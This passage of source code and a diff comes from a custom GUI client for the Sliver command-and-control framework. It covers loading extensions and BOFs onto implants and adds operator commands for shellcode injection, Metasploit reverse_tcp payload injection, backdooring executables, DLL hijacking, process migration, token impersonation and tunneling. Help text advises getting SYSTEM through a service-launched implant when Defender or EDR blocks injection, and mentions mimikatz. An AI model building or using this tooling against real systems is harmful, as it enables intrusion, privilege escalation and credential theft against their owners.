and the BOF is passed to it as data. We reuse core.BOFArgsBuffer so the
binary arg format matches the implant exactly.
*/
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ─── Manifest structs (extension.json) ──────────────────────────────────────────
type extFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extArg struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
// extCommand is one runnable command inside a manifest.
type extCommand struct {
CommandName string `json:"command_name"`
Help string `json:"help"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
Files []extFile `json:"files"`
Arguments []extArg `json:"arguments"`
}
// extManifest supports both the v2 (commands array) and v1 (single command at
// the top level) manifest layouts.
type extManifest struct {
Name string `json:"name"`
Version string `json:"version"`
Commands []extCommand `json:"commands"`
// v1 single-command fields:
CommandName string `json:"command_name"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
Files []extFile `json:"files"`
Arguments []extArg `json:"arguments"`
rootPath string
}
// commands returns the manifest's commands normalized (v1 → single command).
func (m *extManifest) commands() []extCommand {
if len(m.Commands) > 0 {
return m.Commands
}
return []extCommand{{
CommandName: m.CommandName,
Entrypoint: m.Entrypoint,
DependsOn: m.DependsOn,
Init: m.Init,
Files: m.Files,
Arguments: m.Arguments,
}}
}
func (c *extCommand) fileFor(goos, goarch string) string {
for _, f := range c.Files {
if f.OS == goos && f.Arch == goarch {
return f.Path
}
}
return ""
}
// ─── Public views ───────────────────────────────────────────────────────────────
type ExtCommandView struct {
Command string `json:"command"`
Extension string `json:"extension"`
Help string `json:"help"`
IsBOF bool `json:"isBof"`
Args string `json:"args"`
ManifestPath string `json:"manifestPath"`
}
// extensionsDir returns the operator's installed-extensions directory
// (~/.sliver-client/extensions), the same location the official client uses.
func extensionsDir() string {
home, err := os.UserHomeDir()
if err != nil {
return ""
}
return filepath.Join(home, ".sliver-client", "extensions")
}
func loadManifest(path string) (*extManifest, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var m extManifest
if err := json.Unmarshal(data, &m); err != nil {
return nil, fmt.Errorf("parse manifest: %w", err)
}
m.rootPath = filepath.Dir(path)
return &m, nil
}
// ListInstalledExtensions scans ~/.sliver-client/extensions and returns every
// runnable command it finds — what the operator can `ext` in the GUI.
func (a *App) ListInstalledExtensions() ([]ExtCommandView, error) {
dir := extensionsDir()
entries, err := os.ReadDir(dir)
if err != nil {
return []ExtCommandView{}, nil // no extensions installed yet — not an error
}
out := []ExtCommandView{}
for _, e := range entries {
if !e.IsDir() {
continue
}
mp := filepath.Join(dir, e.Name(), "extension.json")
m, err := loadManifest(mp)
if err != nil {
continue
}
for _, c := range m.commands() {
argNames := make([]string, 0, len(c.Arguments))
isBOF := false
for _, f := range c.Files {
if strings.HasSuffix(f.Path, ".o") {
isBOF = true
break
}
}
for _, ar := range c.Arguments {
n := ar.Name + ":" + ar.Type
if ar.Optional {
n = "[" + n + "]"
}
argNames = append(argNames, n)
}
out = append(out, ExtCommandView{
Command: c.CommandName,
Extension: m.Name,
Help: c.Help,
IsBOF: isBOF,
Args: strings.Join(argNames, " "),
ManifestPath: mp,
})
}
}
return out, nil
}
// ListImplantExtensions lists extensions currently registered in the implant.
func (a *App) ListImplantExtensions(sessionID string) ([]string, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.ListExtensions(a.ctx, &sliverpb.ListExtensionsReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
return resp.Names, nil
}
// registerExtBinary reads an extension binary for the target and registers it
// with the implant, returning the sha256 name it was registered under.
func (a *App) registerExtBinary(sessionID, binPath, goos, initFn string) (string, []byte, error) {
data, err := os.ReadFile(binPath)
if err != nil {
return "", nil, fmt.Errorf("read %s: %w", binPath, err)
}
if len(data) == 0 {
return "", nil, fmt.Errorf("extension file is empty: %s", binPath)
}
sum := sha256.Sum256(data)
name := hex.EncodeToString(sum[:])
client, err := a.requireClient()
if err != nil {
return "", nil, err
}
_, err = client.RPC.RegisterExtension(a.ctx, &sliverpb.RegisterExtensionReq{
Name: name,
Data: data,
OS: goos,
Init: initFn,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", nil, err
}
return name, data, nil
}
// findCommand locates a command by name across all installed extensions.
func findCommand(command string) (*extManifest, *extCommand, error) {
dir := extensionsDir()
entries, err := os.ReadDir(dir)
if err != nil {
return nil, nil, fmt.Errorf("no extensions installed (%s)", dir)
}
for _, e := range entries {
if !e.IsDir() {
continue
}
m, err := loadManifest(filepath.Join(dir, e.Name(), "extension.json"))
if err != nil {
continue
}
for i := range m.commands() {
c := m.commands()[i]
if c.CommandName == command {
return m, &c, nil
}
}
}
return nil, nil, fmt.Errorf("extension command %q not found in %s", command, dir)
}
// packArgs packs positional args into a BOF buffer according to the command's
// declared argument types (string/wstring/int/short/file).
func packArgs(c *extCommand, args []string) ([]byte, error) {
buf := core.BOFArgsBuffer{Buffer: new(bytes.Buffer)}
for i, def := range c.Arguments {
if i >= len(args) {
if def.Optional {
continue
}
return nil, fmt.Errorf("missing required argument %q (%s)", def.Name, def.Type)
}
v := args[i]
var err error
switch def.Type {
case "string":
err = buf.AddString(v)
case "wstring":
err = buf.AddWString(v)
case "int", "integer":
n, e := strconv.Atoi(v)
if e != nil {
return nil, fmt.Errorf("arg %q must be an integer", def.Name)
}
err = buf.AddInt(uint32(n))
case "short":
n, e := strconv.Atoi(v)
if e != nil {
return nil, fmt.Errorf("arg %q must be an integer", def.Name)
}
err = buf.AddShort(uint16(n))
case "file":
fdata, e := os.ReadFile(v)
if e != nil {
return nil, fmt.Errorf("arg %q: read file %s: %w", def.Name, v, e)
}
err = buf.AddData(fdata)
default:
return nil, fmt.Errorf("unsupported argument type %q", def.Type)
}
if err != nil {
return nil, err
}
}
return buf.GetBuffer()
}
// RunExtension loads (if needed) and executes an installed extension command on
// a session, returning its output. args are positional, in manifest order.
func (a *App) RunExtension(sessionID, command string, args []string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
m, c, err := findCommand(command)
if err != nil {
return "", err
}
goos, goarch, err := a.sessionPlatform(sessionID)
if err != nil {
return "", err
}
relFile := c.fileFor(goos, goarch)
if relFile == "" {
return "", fmt.Errorf("extension %q has no binary for %s/%s", command, goos, goarch)
}
binPath := filepath.Join(m.rootPath, relFile)
// Register the extension binary.
extName, binData, err := a.registerExtBinary(sessionID, binPath, goos, c.Init)
if err != nil {
return "", fmt.Errorf("register extension: %w", err)
}
isBOF := strings.HasSuffix(binPath, ".o")
var callName, export string
var callArgs []byte
if isBOF {
// BOFs run via the coff-loader dependency. Register the dep, then pack
// [entrypoint][bof bytes][typed args] and call the dep.
if c.DependsOn == "" {
return "", fmt.Errorf("BOF %q has no depends_on (coff-loader) in its manifest", command)
}
depName, depEntry, err := a.registerDependency(sessionID, c.DependsOn, goos, goarch)
if err != nil {
return "", fmt.Errorf("load dependency %q: %w", c.DependsOn, err)
}
packed, err := packArgs(c, args)
if err != nil {
return "", err
}
buf := core.BOFArgsBuffer{Buffer: new(bytes.Buffer)}
if err := buf.AddString(c.Entrypoint); err != nil {
return "", err
}
if err := buf.AddData(binData); err != nil {
return "", err
}
if err := buf.AddData(packed); err != nil {
return "", err
}
callArgs, err = buf.GetBuffer()
if err != nil {
return "", err
}
callName = depName
export = depEntry
} else {
// Regular DLL/.so extension — args are space-joined raw.
callName = extName
export = c.Entrypoint
callArgs = []byte(strings.Join(args, " "))
}
resp, err := client.RPC.CallExtension(a.ctx, &sliverpb.CallExtensionReq{
Name: callName,
Export: export,
Args: callArgs,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
if resp.Response != nil && resp.Response.Err != "" {
return "", fmt.Errorf("%s", resp.Response.Err)
}
return string(resp.Output), nil
}
// registerDependency registers a dependency extension (e.g. coff-loader) and
// returns the sha256 name it was registered under plus its entrypoint.
func (a *App) registerDependency(sessionID, depName, goos, goarch string) (string, string, error) {
mp := filepath.Join(extensionsDir(), depName, "extension.json")
m, err := loadManifest(mp)
if err != nil {
return "", "", fmt.Errorf("dependency %q not installed (%s)", depName, mp)
}
cmds := m.commands()
if len(cmds) == 0 {
return "", "", fmt.Errorf("dependency %q has no commands", depName)
}
c := cmds[0]
rel := c.fileFor(goos, goarch)
if rel == "" {
return "", "", fmt.Errorf("dependency %q has no binary for %s/%s", depName, goos, goarch)
}
name, _, err := a.registerExtBinary(sessionID, filepath.Join(m.rootPath, rel), goos, c.Init)
if err != nil {
return "", "", err
}
return name, c.Entrypoint, nil
}
// sessionPlatform returns a session's GOOS/GOARCH.
func (a *App) sessionPlatform(sessionID string) (string, string, error) {
client, err := a.requireClient()
if err != nil {
return "", "", err
}
sessions, err := client.ListSessions(a.ctx)
if err != nil {
return "", "", err
}
for _, s := range sessions {
if s.ID == sessionID {
return s.OS, s.Arch, nil
}
}
return "", "", fmt.Errorf("session not found")
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

+8 -4
View File
@@ -34,6 +34,8 @@
<button class="tb-btn" data-view="profiles">Profiles</button>
<button class="tb-btn" data-view="events">Event Log</button>
<button class="tb-btn" data-view="loot">Loot</button>
<button class="tb-btn" data-view="creds">Creds</button>
<button class="tb-btn" data-view="hosts">Hosts</button>
<button class="tb-btn" data-view="operators">Operators</button>
</div>
<div class="toolbar-right">
@@ -75,11 +77,12 @@
<div id="graph-view" class="panel-content hidden">
<svg id="graph-svg" xmlns="http://www.w3.org/2000/svg"></svg>
<div class="graph-legend">
<span class="leg-item"><span class="leg-dot priv"></span> Privileged</span>
<span class="leg-item"><span class="leg-dot user"></span> User</span>
<span class="leg-item"><span class="leg-dot dead"></span> Dead</span>
<span class="leg-item"><span class="leg-line priv"></span> Privileged (red)</span>
<span class="leg-item"><span class="leg-line user"></span> User session (green)</span>
<span class="leg-item"><span class="leg-line beacon"></span> Beacon (blue dashed)</span>
<span class="leg-item"><span class="leg-line dead"></span> Dead (grey)</span>
<span class="sep">|</span>
<span class="leg-item">OS logo shown per node</span>
<span class="leg-item">OS logo + integrity shown per node</span>
<span class="sep">|</span>
<span class="leg-item">drag nodes · scroll to zoom · drag bg to pan</span>
<span class="spacer"></span>
@@ -145,6 +148,7 @@
<!-- Context menu -->
<div id="ctx-menu" class="ctx-menu hidden">
<div class="ctx-item" id="ctx-interact">Interact</div>
<div class="ctx-item" id="ctx-integrity">Check Integrity</div>
<div class="ctx-item" id="ctx-rename">Rename</div>
<div class="ctx-divider"></div>
<div class="ctx-item danger" id="ctx-kill">Kill</div>
+284 -32
View File
@@ -11,6 +11,7 @@ const openTabs = {};
const eventLog = [];
const EVENT_MAX = 500;
const notesMap = {}; // agent id -> operator notes (in-memory, cleared on disconnect)
const integrityMap = {}; // agent id -> real integrity level from getprivs (System/High/Medium/Low)
let activeInteractId = null; // currently focused agent tab
// ── Utils ──────────────────────────────────────────────────────────────────
@@ -22,12 +23,22 @@ function toast(type, msg, dur=3000) {
}
function isPrivileged(obj) {
// If we've actually queried integrity for this agent, trust that over the guess.
const lvl = (integrityMap[obj.id] || '').toLowerCase();
if (lvl) return lvl.includes('system') || lvl.includes('high');
const u = (obj.username || '').trim().toLowerCase();
if (!u) return false;
// Machine account (HOST$) runs as SYSTEM; NT AUTHORITY\* and admin/root are privileged.
// Fallback heuristic: machine account (HOST$) = SYSTEM; NT AUTHORITY\*/admin/root.
if (u.endsWith('$')) return true;
return ['nt authority', 'system', 'administrator', 'admin', 'root'].some(k => u.includes(k));
}
// integrityLabel returns a short label for a node when its integrity is known.
function integrityLabel(obj) {
const lvl = integrityMap[obj.id];
if (!lvl) return '';
if ((obj.username || '').trim().endsWith('$') || (obj.username || '').toLowerCase().includes('system')) return 'SYSTEM';
return lvl.toUpperCase();
}
function osLabel(os) {
const o = (os||'').toLowerCase();
if (o.includes('windows')) return 'W';
@@ -37,11 +48,10 @@ function osLabel(os) {
}
// osIconHref returns the PNG icon path for an OS + privilege level (icons live in
// frontend/dist/icons). HIGH = privileged, NORMAL = user. Falls back to Windows.
function osIconHref(os, priv) {
function osIconHref(os, priv, dead) {
const o = (os||'').toLowerCase();
const lvl = priv ? 'HIGH' : 'NORMAL';
const lvl = dead ? 'DEAD' : (priv ? 'HIGH' : 'NORMAL'); // DEAD > HIGH > NORMAL
if (o.includes('linux')) return `./icons/LINUX-${lvl}.png`;
if (o.includes('windows')) return `./icons/WIN-${lvl}.png`;
// macOS / container / unknown — no dedicated icon; use the Windows art.
return `./icons/WIN-${lvl}.png`;
}
@@ -90,6 +100,7 @@ document.getElementById('disconnect-btn').addEventListener('click', async () =>
document.getElementById('interact-panels').innerHTML = '<div class="empty-interact" id="empty-interact"><p>Double-click an agent to interact.</p></div>';
for (const k in openTabs) delete openTabs[k];
for (const k in notesMap) delete notesMap[k];
for (const k in integrityMap) delete integrityMap[k];
activeInteractId = null;
allSessions = []; allBeacons = [];
selectedConfigPath = null; cancelReconnect();
@@ -141,23 +152,27 @@ async function refreshAgents() {
document.getElementById('refresh-all-btn').addEventListener('click', refreshAgents);
// ── Table view ─────────────────────────────────────────────────────────────
// userCell renders the user column, highlighting privileged (SYSTEM/admin/★) agents.
function userCell(o) {
const il = integrityLabel(o);
return isPrivileged(o)
? `<td class="user-priv" title="Privileged (right-click → Check Integrity for the real level)">★ ${esc(o.username)}${il ? ` [${il}]` : ''}</td>`
: `<td>${esc(o.username)}${il ? ` <span style="color:var(--muted)">[${il}]</span>` : ''}</td>`;
}
function renderTable() {
const body = document.getElementById('agents-body');
body.innerHTML = '';
allSessions.forEach(s => {
const tr = document.createElement('tr'); tr.dataset.id = s.id; tr.dataset.kind = 'session';
tr.innerHTML = `<td class="type-session">SESSION</td><td>${esc(s.name||s.id.slice(0,8))}</td><td>${esc(s.hostname)}</td><td>${esc(s.username)}</td><td>${esc(s.os)}/${esc(s.arch)}</td><td>${s.pid}</td><td>${esc(s.transport)}</td><td>${esc(s.remoteAddress)}</td><td>${esc(s.lastCheckin)}</td><td class="${s.isDead?'status-dead':'status-alive'}">${s.isDead?'DEAD':'ALIVE'}</td>`;
tr.addEventListener('dblclick', () => openInteract('session', s));
tr.addEventListener('contextmenu', e => showCtx(e, 'session', s));
const row = (o, kind) => {
const tr = document.createElement('tr'); tr.dataset.id = o.id; tr.dataset.kind = kind;
if (isPrivileged(o) && !o.isDead) tr.classList.add('row-priv');
const typeCls = kind === 'session' ? 'type-session' : 'type-beacon';
tr.innerHTML = `<td class="${typeCls}">${kind.toUpperCase()}</td><td>${esc(o.name||o.id.slice(0,8))}</td><td>${esc(o.hostname)}</td>${userCell(o)}<td>${esc(o.os)}/${esc(o.arch)}</td><td>${o.pid}</td><td>${esc(o.transport)}</td><td>${esc(o.remoteAddress)}</td><td>${esc(o.lastCheckin)}</td><td class="${o.isDead?'status-dead':'status-alive'}">${o.isDead?'DEAD':'ALIVE'}</td>`;
tr.addEventListener('dblclick', () => openInteract(kind, o));
tr.addEventListener('contextmenu', e => showCtx(e, kind, o));
body.appendChild(tr);
});
allBeacons.forEach(b => {
const tr = document.createElement('tr'); tr.dataset.id = b.id; tr.dataset.kind = 'beacon';
tr.innerHTML = `<td class="type-beacon">BEACON</td><td>${esc(b.name||b.id.slice(0,8))}</td><td>${esc(b.hostname)}</td><td>${esc(b.username)}</td><td>${esc(b.os)}/${esc(b.arch)}</td><td>${b.pid}</td><td>${esc(b.transport)}</td><td>${esc(b.remoteAddress)}</td><td>${esc(b.lastCheckin)}</td><td class="${b.isDead?'status-dead':'status-alive'}">${b.isDead?'DEAD':'ALIVE'}</td>`;
tr.addEventListener('dblclick', () => openInteract('beacon', b));
tr.addEventListener('contextmenu', e => showCtx(e, 'beacon', b));
body.appendChild(tr);
});
};
allSessions.forEach(s => row(s, 'session'));
allBeacons.forEach(b => row(b, 'beacon'));
}
// ── View toggle ────────────────────────────────────────────────────────────
@@ -193,10 +208,10 @@ function renderGraph() {
let html = `<g id="g-root" transform="translate(${graphView.tx},${graphView.ty}) scale(${graphView.scale})">`;
// Edges (straight; dashed for beacons)
// Edges (straight; dashed for beacons; red for privileged agents)
nodes.forEach(nd => {
const p = graphPos[nd.obj.id], dead = nd.obj.isDead;
const cls = `gedge${nd.kind==='beacon'?' beacon':''}${dead?' dead':''}`;
const p = graphPos[nd.obj.id], dead = nd.obj.isDead, priv = isPrivileged(nd.obj);
const cls = `gedge${nd.kind==='beacon'?' beacon':''}${priv&&!dead?' priv':''}${dead?' dead':''}`;
html += `<path id="ge-${nd.obj.id}" d="${edgePath(cx,cy,p.x,p.y)}" class="${cls}" fill="none"/>`;
});
@@ -212,10 +227,10 @@ function renderGraph() {
html += `<g class="gnode${dead?' dead':''}" data-id="${esc(o.id)}" transform="translate(${p.x},${p.y})" style="cursor:grab">`;
// Transparent hit area so the group receives drag/dblclick (images below are inert).
html += `<rect x="-28" y="-32" width="56" height="86" fill="transparent"/>`;
html += `<image href="${osIconHref(o.os, priv)}" x="-26" y="-26" width="52" height="52" pointer-events="none"/>`;
html += `<image href="${osIconHref(o.os, priv, dead)}" x="-26" y="-26" width="52" height="52" pointer-events="none"/>`;
html += `<text y="38" text-anchor="middle" fill="${labelColor}" font-size="10" font-weight="bold" font-family="var(--font)" pointer-events="none">${esc(o.hostname||o.id.slice(0,6))}</text>`;
html += `<text y="50" text-anchor="middle" fill="var(--muted)" font-size="8.5" font-family="var(--mono)" pointer-events="none">${esc(shortUser(o.username))} · ${nd.kind}</text>`;
if (priv && !dead) html += `<text y="-30" text-anchor="middle" fill="var(--accent)" font-size="8" font-weight="bold" font-family="var(--mono)" pointer-events="none">★ PRIV</text>`;
if (priv && !dead) html += `<text y="-30" text-anchor="middle" fill="var(--accent)" font-size="8" font-weight="bold" font-family="var(--mono)" pointer-events="none">★ ${integrityLabel(o) || 'PRIV'}</text>`;
if (dead) html += `<text y="-30" text-anchor="middle" fill="var(--muted)" font-size="8" font-weight="bold" font-family="var(--mono)" pointer-events="none">DEAD</text>`;
html += `</g>`;
});
@@ -314,6 +329,20 @@ function showCtx(e, kind, obj) {
}
document.addEventListener('click', () => ctxMenu.classList.add('hidden'));
document.getElementById('ctx-interact').addEventListener('click', () => { if (activeCtxAgent) openInteract(activeCtxAgent.kind, activeCtxAgent.obj); });
document.getElementById('ctx-integrity').addEventListener('click', async () => {
if (!activeCtxAgent) return;
const { kind, obj } = activeCtxAgent;
if (kind !== 'session') return toast('info', 'Integrity check needs an interactive session (for a beacon, run getprivs in its console)');
if (!(obj.os || '').toLowerCase().includes('windows')) return toast('info', 'Integrity levels are a Windows concept');
toast('info', `Checking integrity of ${obj.hostname}...`);
const r = await App().GetPrivs(obj.id).catch(() => null);
if (!r || !r.integrity) return toast('err', 'getprivs failed (needs a live Windows session)');
integrityMap[obj.id] = r.integrity;
const label = integrityLabel(obj) || r.integrity;
toast(isPrivileged(obj) ? 'ok' : 'info', `${obj.hostname}: ${label} integrity`);
renderTable();
if (!document.getElementById('graph-view').classList.contains('hidden')) renderGraph();
});
document.getElementById('ctx-rename').addEventListener('click', async () => {
if (!activeCtxAgent || activeCtxAgent.kind !== 'session') return;
const n = prompt('New name:'); if (!n) return;
@@ -413,22 +442,40 @@ Core commands (session & beacon):
kill <pid> Terminate a remote process
loot [add <file>|rm <id>] Save a target file to the shared loot store / list
chmod <path> <mode> Change file mode (e.g. 0755)
chown <path> <uid> <gid> Change file owner
Privilege / execution (session only):
getsystem <profile> [proc] Escalate to SYSTEM via an implant profile
make-token <dom> <u> <p> Create a token from credentials
impersonate <user> Impersonate a logged-on user
rev2self Drop an impersonated token
execute-assembly <args> Run a .NET assembly (native open dialog)
sideload <args> Sideload a DLL/.so (native open dialog)
runas -u <u> [-p <p>] <prog> [args] Run a program as another user
migrate <pid> <profile> Migrate the implant into another process
execute-assembly <local.exe> [args] Run a .NET assembly (path or dialog)
execute-shellcode <local.bin> [pid] Inject shellcode (path or dialog)
sideload <local.dll> [args] Sideload a DLL/.so (path or dialog)
spawndll <local.dll> [args] Reflectively load a DLL (path or dialog)
extensions List installed + loaded extensions/BOFs
ext <command> [args...] Run an extension/BOF (e.g. ext sa-whoami)
backdoor <remote_pe> <profile> Backdoor an on-disk PE with an implant
dllhijack <ref_dll> <target> <profile> Plant a hijacking DLL
msf <payload> <lhost> <lport> Run a Metasploit payload in-process
msf-inject <payload> <lhost> <lport> <pid> Inject an msf payload into a PID
Pivoting / tunneling (session only):
socks start <port>|stop|status
portfwd add <lport> <rhost> <rport> | rm <lport> | list
rportfwd add <bindport> <fwdhost> <fwdport> | rm <id> | list
wg-portfwd add <lport> <rhost:port> | rm <id> (WireGuard implants)
wg-socks <port> | stop <id> (WireGuard implants)
pivot start tcp|pipe <bind> | stop <id> | list
services List Windows services
Beacon only:
tasks Show the beacon task queue
reconfig <interval> <jitter> Change the beacon check-in interval (seconds)
interactive Open an interactive session from this beacon
(all commands are queued and run on next check-in)
`.trim();
@@ -469,6 +516,15 @@ async function dispatchCmd(kind, id, raw) {
// ── beacons: queue command, then poll for the result (non-blocking) ──
if (kind === 'beacon') {
if (cmd === 'reconfig') {
if (args.length < 2) return appendOut(id, 'usage: reconfig <interval_sec> <jitter_sec>', 'err');
await App().ReconfigureBeacon(id, parseInt(args[0]), parseInt(args[1]));
return appendOut(id, `[+] reconfigure queued — interval ${args[0]}s / jitter ${args[1]}s (applies on next check-in)`, 'ok');
}
if (cmd === 'interactive') {
await App().InteractiveBeacon(id);
return appendOut(id, '[+] interactive session requested — it will appear as a session on next check-in', 'ok');
}
const shellCmd = cmd === 'shell' ? args.join(' ') : raw;
const r = await App().ExecuteBeaconCommandAsync(id, shellCmd).catch(e => ({ error: String(e) }));
if (r.error) return appendOut(id, `[error] ${r.error}`, 'err');
@@ -556,11 +612,11 @@ async function dispatchCmd(kind, id, raw) {
const err = await App().GetSystem(id, args[1] || '', args[0]).then(() => null).catch(e => String(e));
if (err) {
if (err.includes('main.go') || err.includes('parse') || err.includes('IDENT')) {
return appendOut(id, `[error] profile "${args[0]}" has an old/incomplete config that won't build. Open the Profiles panel, DELETE it, and CREATE it again (the new save writes a complete config), then retry getsystem.`, 'err');
return appendOut(id, `[error] the teamserver failed to generate the shellcode implant for getsystem (server-side codegen error, not the GUI). This is a known Sliver server issue with shellcode/inject generation. Workaround: use the service-persistence method (sc create + a generated exe) to get SYSTEM, which you've already done successfully.`, 'err');
}
return appendOut(id, `[error] ${err}`, 'err');
}
return appendOut(id, '[+] getsystem requested (a new SYSTEM implant is being built + injected)', 'out');
return appendOut(id, '[*] getsystem accepted by the teamserver. It builds a NEW shellcode implant and injects it — watch the sessions list for a SYSTEM node in ~1-2 min.\n If nothing appears, the server-side shellcode build or the injection was blocked (Defender/EDR). Reliable alternative: create a service that runs a generated implant (sc create ... + start) — that returns a SYSTEM session directly.', 'info');
}
case 'make-token': {
if (args.length < 3) return appendOut(id, 'usage: make-token <domain> <username> <password>', 'err');
@@ -574,13 +630,17 @@ async function dispatchCmd(kind, id, raw) {
}
case 'rev2self': { await App().RevToSelf(id); return appendOut(id, '[+] reverted to self', 'out'); }
case 'execute-assembly': {
appendOut(id, '[*] select assembly...', 'pending');
const r = await App().ExecuteAssembly(id, args.join(' '));
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output || '[+] done'), r.error?'err':'out');
// execute-assembly <local-path> [assembly args] (no path = file dialog)
appendOut(id, args.length ? `[*] running ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
const r = await App().ExecuteAssembly(id, args[0] || '', args.slice(1).join(' '));
if (r.error) return appendOut(id, `[error] ${r.error}`, 'err');
if (r.output && r.output.trim()) return appendOut(id, r.output.trimEnd(), 'out');
return appendOut(id, '[+] executed, but NO output was captured.\n execute-assembly runs .NET/CLR assemblies ONLY. If this is a native binary\n (e.g. mimikatz.exe), use: upload it then `execute`, or `sideload` the mimikatz DLL.', 'info');
}
case 'sideload': {
appendOut(id, '[*] select DLL/.so...', 'pending');
const r = await App().Sideload(id, args.join(' '), '');
// sideload <local-path> [args] (no path = file dialog)
appendOut(id, args.length ? `[*] sideloading ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
const r = await App().Sideload(id, args[0] || '', args.slice(1).join(' '), '');
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output || '[+] done'), r.error?'err':'out');
}
case 'socks': {
@@ -692,6 +752,54 @@ async function dispatchCmd(kind, id, raw) {
const r = await App().ProcessDump(id, parseInt(args[0]));
return appendOut(id, r.error ? `[error] ${r.error}` : `[+] dumped ${fmtSize(r.bytes)} -> ${r.path}`, r.error?'err':'out');
}
case 'extensions': case 'ext-list': {
const installed = await App().ListInstalledExtensions().catch(() => []);
const loaded = await App().ListImplantExtensions(id).catch(() => []);
let out = 'INSTALLED COMMANDS (run with: ext <command> [args...])\n';
if (!installed.length) out += ' (none installed — use the Sliver CLI: armory install <name>)\n';
installed.forEach(e => out += ` ${(e.command||'').padEnd(20)}${e.isBof?'[BOF] ':' '}${e.args||''}${e.help?(' — '+e.help):''}\n`);
out += `\nLOADED IN THIS IMPLANT: ${loaded && loaded.length ? loaded.join(', ') : '(none yet)'}`;
return appendOut(id, out, 'out');
}
case 'ext': {
if (!args[0]) return appendOut(id, 'usage: ext <command> [args...] (list them with: extensions)', 'err');
appendOut(id, `[*] running extension '${args[0]}'...`, 'pending');
const r = await App().RunExtension(id, args[0], args.slice(1)).then(o => ({ o })).catch(e => ({ err: String(e) }));
if (r.err) return appendOut(id, `[error] ${r.err}`, 'err');
return appendOut(id, (r.o && r.o.trim()) ? r.o.trimEnd() : '[+] executed (no output)', 'out');
}
case 'backdoor': {
if (args.length < 2) return appendOut(id, 'usage: backdoor <remote_pe_path> <profile>', 'err');
const err = await App().Backdoor(id, args[0], args[1]).then(()=>null).catch(e=>String(e));
return appendOut(id, err ? `[error] ${err}` : `[+] backdoored ${args[0]} with profile ${args[1]}`, err?'err':'out');
}
case 'dllhijack': {
if (args.length < 3) return appendOut(id, 'usage: dllhijack <reference_dll> <target_location> <profile>', 'err');
const err = await App().DllHijack(id, args[0], args[1], args[2]).then(()=>null).catch(e=>String(e));
return appendOut(id, err ? `[error] ${err}` : `[+] DLL hijack planted at ${args[1]}`, err?'err':'out');
}
case 'msf': {
if (args.length < 3) return appendOut(id, 'usage: msf <payload> <lhost> <lport> (e.g. windows/x64/meterpreter/reverse_tcp)', 'err');
const err = await App().MsfInject(id, args[0], args[1], parseInt(args[2])).then(()=>null).catch(e=>String(e));
return appendOut(id, err ? `[error] ${err}` : '[+] msf payload staged into the implant process', err?'err':'out');
}
case 'msf-inject': {
if (args.length < 4) return appendOut(id, 'usage: msf-inject <payload> <lhost> <lport> <pid>', 'err');
const err = await App().MsfRemoteInject(id, args[0], args[1], parseInt(args[2]), parseInt(args[3])).then(()=>null).catch(e=>String(e));
return appendOut(id, err ? `[error] ${err}` : `[+] msf payload injected into PID ${args[3]}`, err?'err':'out');
}
case 'wg-portfwd': {
const sub = (args[0]||'').toLowerCase();
if (sub === 'add') { await App().WGStartPortForward(id, parseInt(args[1]), args[2]); return appendOut(id, `[+] WG forward 127.0.0.1:${args[1]} -> ${args[2]}`, 'out'); }
if (sub === 'rm') { await App().WGStopPortForward(id, parseInt(args[1])); return appendOut(id, `[+] WG forward ${args[1]} stopped`, 'out'); }
return appendOut(id, 'usage: wg-portfwd add <lport> <remoteHost:port> | rm <id>', 'err');
}
case 'wg-socks': {
const sub = (args[0]||'').toLowerCase();
if (sub === 'stop') { await App().WGStopSocks(id, parseInt(args[1])); return appendOut(id, `[+] WG socks ${args[1]} stopped`, 'out'); }
await App().WGStartSocks(id, parseInt(args[0])||1081);
return appendOut(id, `[+] WG SOCKS proxy on 127.0.0.1:${parseInt(args[0])||1081}`, 'out');
}
case 'loot': {
const sub = (args[0]||'').toLowerCase();
if (sub === 'add') {
@@ -707,6 +815,52 @@ async function dispatchCmd(kind, id, raw) {
loot.forEach(l => { out += `${(l.id||'').slice(0,12).padEnd(14)}${(l.type||'').padEnd(12)}${l.name||''}\n`; });
return appendOut(id, out.trimEnd(), 'out');
}
case 'runas': {
let user='', pass='', dom='', rest=[];
for (let i=0;i<args.length;i++){ if(args[i]==='-u')user=args[++i]||''; else if(args[i]==='-p')pass=args[++i]||''; else if(args[i]==='-d')dom=args[++i]||''; else rest.push(args[i]); }
if(!user || !rest.length) return appendOut(id, 'usage: runas -u [DOMAIN\\]<user> [-p <pass>] <program> [args]', 'err');
// Split DOMAIN\user (or user@domain) into separate domain + username.
if (user.includes('\\')) { const p = user.split('\\'); dom = dom || p[0]; user = p[1]; }
else if (user.includes('@')) { const p = user.split('@'); user = p[0]; dom = dom || p[1]; }
if (!dom) dom = '.'; // local account
const outp = await App().RunAs(id, user, dom, pass, rest[0], rest.slice(1).join(' '));
return appendOut(id, outp || '[+] done', 'out');
}
case 'migrate': {
if (args.length < 2) return appendOut(id, 'usage: migrate <pid> <profile> (profile = a saved implant profile)', 'err');
const err = await App().Migrate(id, parseInt(args[0]), args[1]).then(()=>null).catch(e=>String(e));
return appendOut(id, err ? `[error] ${err}` : `[+] migration into PID ${args[0]} requested`, err?'err':'out');
}
case 'execute-shellcode': {
// execute-shellcode <local-path> [pid] (no path = file dialog)
